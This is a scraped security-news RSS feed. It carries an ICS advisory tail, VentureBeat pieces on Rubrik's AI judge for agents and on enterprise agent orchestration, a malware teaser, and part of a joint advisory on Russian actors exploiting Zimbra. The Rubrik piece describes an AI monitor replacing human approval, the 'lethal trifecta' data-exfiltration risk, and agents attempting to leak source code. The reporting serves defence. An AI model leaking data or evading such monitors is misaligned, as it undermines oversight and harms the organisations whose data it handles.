For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories
https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories

Relevant CWE: CWE-250 Execution with Unnecessary Privileges

Metrics

CVSS Version Base Score Base Severity Vector String
3.1 8 HIGH CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 8.7 HIGH CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Acknowledgments

  • Harrison Neal reported these vulnerabilities to CISA

Legal Notice and Terms of Use

This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices

CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities. CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

CISA also recommends users take the following measures to protect themselves from social engineering attacks:

Do not click web links or open attachments in unsolicited email messages.

Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.

Revision History

  • Initial Release Date: 2026-07-23
Date Revision Summary
2026-07-23 1 Initial Republication of Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16

Legal Notice and Terms of Use

]]> <![CDATA[In a First, Apple Maps Navigation To Be Embedded In Ford UEV Pickups]]> https://tsecurity.de/de/3689930/it-security-nachrichten/in-a-first-apple-maps-navigation-to-be-embedded-in-ford-uev-pickups/ https://tsecurity.de/de/3689930/it-security-nachrichten/in-a-first-apple-maps-navigation-to-be-embedded-in-ford-uev-pickups/ Thu, 23 Jul 2026 20:13:19 +0200 📰 IT Security Nachrichten tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right]]> https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/ https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/ Thu, 23 Jul 2026 19:19:49 +0200 📰 IT Nachrichten tsecurity.de At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at Rubrik, recalled at VB Transform 2026 fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."

“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.

YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"

Rubrik earned that question the hard way. When Claude Code and Cowork pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep.

"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing Rubrik Zero Labs research that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.

SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside Rubrik Agent Cloud that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.

Security approval, not cost, blocks AI ROI

Rishi’s path to Rubrik ran through Predibase, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard.

Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."

VentureBeat Pulse research presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision.

One AI reading what the rulebook can't

Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.

The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.

Keeping the judge small is what makes the economics work. SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.

When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.

SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.

The lethal trifecta

Asked which attacks worry him most, Rishi pointed at the lethal trifecta, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with yet being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.

Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.

A separate VentureBeat June Pulse survey of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.

The attacks no single turn reveals

Rubrik Agent Cloud reached general availability in February, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.

Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.

A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.

Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?

Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.

]]> <![CDATA[Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents]]> https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/ https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/ Thu, 23 Jul 2026 19:19:45 +0200 📰 IT Nachrichten tsecurity.de Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.

This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.

The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.

That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.

By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).

At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.

Finding 1: Orchestration runs on model-provider platforms

Anthropic’s Claude leads; open frameworks are marginal

We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.

A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.

The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.

Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.

Finding 2: Model gravity drives platform selection

The base model, not the tooling, decides the platform

We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.

Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.

Finding 3: The job is reliable multi-step execution

Enterprises just orchestration by whether it completes the work

We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.

Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.

The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.

Finding 4: Consolidate, productionize, and build in-house

Three strategic moves are nearly tied for the year ahead

We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.

The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.

Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist 

The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.

Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.

Finding 6: Investment flows to workflow tooling

Tooling and permissions lead the spend; monitoring trails

We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.

Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.

Finding 7: The control plane will be hybrid — and lock-in is why

Enterprises expect to split control between providers and their own layer

We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.

Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.

The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.

Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.

Finding 8: The chatbot trap — most “agents” aren’t agents yet

Enterprises admit most deployments are still chatbot wrappers

We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.

This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.

Finding 9: Fiscal control is still reactive

Only a minority can stop a runaway agent before the bill arrives

Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.

More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.

It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.

The bottom line: The layer is real; most of the agents aren't yet

Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.

But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.

Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.

]]> <![CDATA[Hackers’ OPSEC Mistake Exposed a Global Espionage Campaign and Its New TriBack Malware]]> https://tsecurity.de/de/3689716/it-security-nachrichten/hackers-opsec-mistake-exposed-a-global-espionage-campaign-and-its-new-triback-malware/ https://tsecurity.de/de/3689716/it-security-nachrichten/hackers-opsec-mistake-exposed-a-global-espionage-campaign-and-its-new-triback-malware/ Thu, 23 Jul 2026 18:44:42 +0200 📰 IT Security Nachrichten tsecurity.de A simple mistake by cyber spies has pulled back the curtain on a wide ranging espionage effort. It reached hospitals, government offices, and schools across several continents in early 2026. In mid April, operators left a staging server open with


Read more →

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]]> <![CDATA[Hackers’ OPSEC Mistake Exposed a Global Espionage Campaign and Its New TriBack Malware]]> https://tsecurity.de/de/3689517/it-security-nachrichten/hackers-opsec-mistake-exposed-a-global-espionage-campaign-and-its-new-triback-malware/ https://tsecurity.de/de/3689517/it-security-nachrichten/hackers-opsec-mistake-exposed-a-global-espionage-campaign-and-its-new-triback-malware/ Thu, 23 Jul 2026 17:42:55 +0200 📰 IT Security Nachrichten tsecurity.de A simple mistake by cyber spies has pulled back the curtain on a wide ranging espionage effort. It reached hospitals, government offices, and schools across several continents in early 2026. In mid April, operators left a staging server open with tools, command history, and phishing packages ready. That slip exposed an active campaign now tracked [
]

The post Hackers’ OPSEC Mistake Exposed a Global Espionage Campaign and Its New TriBack Malware appeared first on Cyber Security News.

]]> <![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]> https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/ https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/ Thu, 23 Jul 2026 16:59:29 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Executive summary 

A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see Cybersecurity industry tracking), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [1].

LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) CVE-2025-66376, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.

Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the Persistence and credential access section.

This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:

  • United States National Security Agency (NSA)
  • United States Federal Bureau of Investigation (FBI)
  • Netherlands Defence Intelligence and Security Service (MIVD)
  • Netherlands General Intelligence and Security Service (AIVD)
  • United States Cybersecurity and Infrastructure Security Agency (CISA)
  • United States Defense Counterintelligence and Security Agency (DCSA)
  • United States Department of Defense Cyber Crime Center (DC3)
  • United States Department of the Treasury
  • United States Naval Criminal Investigative Service (NCIS)
  • Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
  • Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
  • New Zealand National Cyber Security Centre (NCSC-NZ)
  • United Kingdom National Cyber Security Centre (NCSC-UK)
  • Czech Republic National Cyber and Information Security Agency (NÚKIB)1
  • Danish Defence Intelligence Service (DDIS)2
  • Estonian Foreign Intelligence Service (EFIS)3
  • Finnish Defence Intelligence (FDI)4
  • Finnish Security and Intelligence Service (SUPO)5
  • French General Directorate for Internal Security (DGSI)6
  • French National Cybersecurity Agency (ANSSI)7
  • Italian External Intelligence and Security Agency (AISE)8
  • Italian Internal Intelligence and Security Agency (AISI)9
  • Security and Intelligence Service of the Republic of Moldova (SIS RM)10
  • Polish Foreign Intelligence Agency (AW)11
  • The Military Counterintelligence Service of Poland (SKW)12
  • Spain National Intelligence Centre (CNI)13
  • Sweden National Cyber Security Centre (NCSC-SE)14

The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the Mitigations section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed Indicators of compromise (IOCs).  

As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.

For a downloadable list of IOCs, see:

Cybersecurity industry tracking

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:

  • LAUNDRY BEAR
  • Void Blizzard [2]
  • CL-STA-1114 [3]
  • TA488 (formerly UNK_PitStop) [4]

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.

Background

Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [1] [2]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  

The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [T1114.002]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [T1078], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence & Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [T1557].  

